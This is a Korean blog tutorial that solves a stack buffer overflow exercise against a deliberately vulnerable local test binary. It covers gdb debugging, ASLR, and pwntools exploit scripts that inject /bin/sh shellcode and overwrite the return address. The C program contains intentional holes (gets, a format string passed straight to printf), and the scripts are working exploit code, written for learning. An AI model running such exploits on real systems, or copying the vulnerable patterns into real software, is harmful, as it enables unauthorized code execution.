stxxp

[Pwnable] BOF 예제 풀기 본문

Security/Pwnable

[Pwnable] BOF 예제 풀기

stxxp 2024. 3. 19. 15:20

코드 : 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <stdio.h>
 
void setup()
{
    setvbuf(stdin, 020);
    setvbuf(stdout, 020);
    setvbuf(stderr, 020);
}
 
int main(void)
{
    setup();
 
    char buf[0x100];
 
    printf("What's your name? : ");
    gets(buf);
 
    printf("Hello ");
    printf(buf);
    printf("!!!\n");
 
    printf("Last greeting : ");
    gets(buf);
 
    return 0;
}
 
cs

 
다시 시도해도 헷갈리는 BOF...
 

1. 코드 흐름 분석해 보기

 
setup 함수가 stdin, stdout, stderr를 초기화시켜 준다.
>> stdin : 표준 입력 stream number 0
>> stdout : 표준 출력 stream number 1
>> stderr : 표준 에러 stream number 2
 
buf를 선언해 주고 크기를 0x100으로 지정하는 것을 확인할 수 있다. 
 
첫 번째에서 물어본 값을 buf에 입력받은 후에 Hello [buf에 있는 값]!!! 을 출력하고,
두 번째에서 물어본 값을 새롭게 buf에 입력받는다.
 
마지막에는 값을 리턴하여 함수를 종료한다.
 
 
 
 
 

2. 쉘 따기

1) buf값 계산하기

buf의 버퍼값은 0x100이다. 버퍼 이후는
 
0x100 + 0x8 + 0x8 
{버퍼}    {sfp}   {ret}
 
이러한 구조로 되어있다. 
sfp와 ret는 64bit 안의 레지스터이므로 8비트 크기의 레지스터인 것이다.
 
버퍼는 0x100, 즉 우리가 지정해 준 크기이고 sfp는 Stack Frame Register를 말한다.
 
ret에는 다음에 실행될 명령어의 주소가 들어가는데 우리는 이 ret전까지의 0x108만큼의 값을 덮어서 ret에 버퍼의 시작 주소를 넣어주려고 한다.
 
 

Exploit코드 작성 
#1
1
2
3
4
5
6
7
8
9
10
11
from pwn import *  # pwn 모듈 import해주기
 
= process("./test", aslr = False)  # test라는 실행파일 불러오기
= ELF("./test")  # test라는 실행파일에 어떤 보호기법이 걸려있는지 보여주기
 
#pause() # 일시정지
 
r.recvuntil("What's your name? : ");  # 이만큼의 문자열을 읽어오기
r. sendline("sTop")  # sTop에 입력받기
 
r.recvuntil("Last greeting : ")  #이만큼의 문자열을 읽어오기
cs

 

 
 
 

2) 버퍼의 시작 주소 구하기

gdb를 이용해 구할 수 있다.

Disassemble main

코드에서 0x000000000400 <+66> call 부분, 즉 인자를 불러오는 부분에 break를 걸어보았다.
그 다음, 다음 실행을 시켜보면 buf를 입력받은 후에 bp에서 잘 걸리게 된다.

Disasmble &amp; Stack

ni를 눌러 차례차례 실행하다 보면 last greeting 부분에서 다시 입력을 받는다.
IamHappy를 입력하고 엔터를 치면 아래와 같이 나오는데

IamHappy 입력

입력한 값인 IamHappy가 0x7fffffffdc00에 들어가는 것을 볼 수 있다. 
그렇다면 버퍼의 시작 주소는 0x7fffffffdc00이 되므로 파이썬 코드를 마저 짜 보자.
 

Exploit코드 작성
#2
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *  # pwn 모듈 import해주기
 
= process("./test", aslr = False)  # test라는 실행파일 불러오기
= ELF("./test")  #test라는 실행파일에 어떤 보호기법이 걸려있는지 보여주기
 
#pause() #일시정지
 
r.recvuntil("What's your name? : ");  # 이만큼의 문자열을 읽어오기
r. sendline("sTop")  # sTop에 입력받기
 
r.recvuntil("Last greeting : ")  #이만큼의 문자열을 읽어오기
 
payload = ""  # pay를 NULL로 초기화
payload += "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"  # payload에 ShellCode 넣어주기
payload += "A" * (0x108 - len(payload)) + p64(0x7fffffffdc00)  # payload에 0x108까지 A로 채워주고 버퍼 시작주소 대입하기
r.sendline(payload)  # payload에 입력받기
 
r.interactive()  # 사용자와 상호작용을 위한 명령어
cs

payload를 선언해 쉘코드와 공간을 채워주기 위해 A(의미 없는 값)를 넣어주고 방금 알아낸 버퍼의 시작 주소를 넣어준다. (0x7fffffffdc00)
 


 

실행을 했으나 안된다. 쉘이 따지지 않았다.  쉘이 잘 따졌다면 [*] Switching to interactive mode에서 멈추고 우리가 의도한 내용이 담긴 익스플로잇 코드가 실행돼야 맞다. 
여기서 한참을 헤맸던 것 같은데 파이썬 코드를 통해 gdb를 불러와서 디버깅할 때의 주소와 직접 gdb를 켜서 실행파일을 불러와 디버깅을 할 때의 주소가 달랐다.. 
 
이는 ASLR 보호기법 때문인데
기본적으로 ASLR 보호기법은 항상 켜져 있고 위 내용에서 했던 것처럼 우리가 gdb test(gdb로 test실행파일을 불러옴)를 해서 디버깅하면 보호기법을 꺼주는 어떠한 행동도 하지 않았기 때문에 주소가 다르게 나올 수 밖에 없다. 
 
그럼 파이썬 코드에 gdb.attach(r)를 넣어 코드가 실행되는 와중에 디버거를 연다면?
test실행파일은 계속 실행되고 있는 상태로 파이썬 코드를 continue해서 처음 보호기법을 의도적으로 꺼준 상태(코드에서 aslr = False으로 해줌) 그대로 디버깅이 진행되기 때문에 바른 주소를 얻을 수 있게 된다.
 

더보기

ASLR이 뭐지?

ASLR(Address Space Layout Randomize)은 BOF(버퍼 오버플로우) 보호기법으로 각 프로세스 안의 스택이 어떠한 임의의 주소에 위치하도록 하는 기법을 말한다. 

 

이 보호기법이 켜져 있으면 특정한 값이 들어있는 주소가 실행하는 도중에 계속 바뀌어서 메모리 상의 공격을 방어하게 된다. (주소 공간이 랜덤으로 배치되어 계속 바뀜)

 

 

그렇다면 이제 아까 익스플로잇 코드에서 실행파일을 불러오는 줄 바로 아래에 gdb.attach(r)을 추가해서 다시 실행해 보겠다.
 


 

main+116부분에 bp를 걸겠다. rbp - 0x100 이 rax에 들어가고 rax는 rdi(첫 번쨰 인자)에 들어가는데 첫 번째 인자는 buf이므로 버퍼의 시작주소인 것 같다.

 
bp를 걸고 c(continue)를 눌러준다.

더보기

꼭 반드시 꼭 꼭 r(run)이 아니라 c를 해야 합니다!  여기서도 헤맸던 건 비밀

파이썬에서 디버거를 열어 실행하고 있을 때는 이미 r = process("./test", aslr = False) 부분에서 test실행파일을 가져와 실행하고 있는 중이기 때문에 r을 하게 되면 다시 실행의 맨 처음으로 돌아와서 payload로 작성된 밑의 부분들은 계속 실행되지 않게 됩니다.

 

반대로 생각해서 그럼 우리가 gdb test를 할 때는?

그냥 gdb로 파일만 불러오는 것이기 때문에 r을 해줘야 하는 것입니다.

 
ni를 누르면 rax에 버퍼의 시작 주소가 들어온 것을 확인할 수 있다.

이제 이 주소를 익스플로잇 코드에 넣어주면 된다.
 

Exploit코드 작성(최종)
#3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *  # pwn 모듈 import해주기
 
= process("./test", aslr = False)  # test라는 실행파일 불러오기
gdb.attach(r)  # gdb 터미널에 새로 불러오기
= ELF("./test")  #test라는 실행파일에 어떤 보호기법이 걸려있는지 보여주기
 
#pause()
 
r.recvuntil("What's your name? : ");  # 이만큼의 문자열을 읽어오기
r. sendline("sTop")  # sTop에 입력받기
 
r.recvuntil("Last greeting : ")  #이만큼의 문자열을 읽어오기
 
payload = ""  # pay를 NULL로 초기화
payload += "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"  # payload에 ShellCode 넣어주기
payload += "A" * (0x108 - len(payload)) + p64(0x7fffffffdc30)  # payload에 0x108까지 A로 채워주고 버퍼 시작주소 대입하기
r.sendline(payload)  # payload에 입력받기
 
r.interactive()  # 사용자와 상호작용을 위한 명령어
cs

이제 실행을 하면....?
 

쉘이 잘 따진다!

 

'Security > Pwnable' 카테고리의 다른 글

[Pwnable] Stupid GCC write-up  (0) 2025.03.17
[Pwnable] Dreamhack: ssp_001 write-up  (0) 2024.04.07
[WolvCTF] Pwn: babypwn write-up  (2) 2024.03.19
[Pwnable] x86-64 아키텍처 - 레지스터  (0) 2024.03.15
[HackCTF] SysROP writeup  (0) 2020.11.27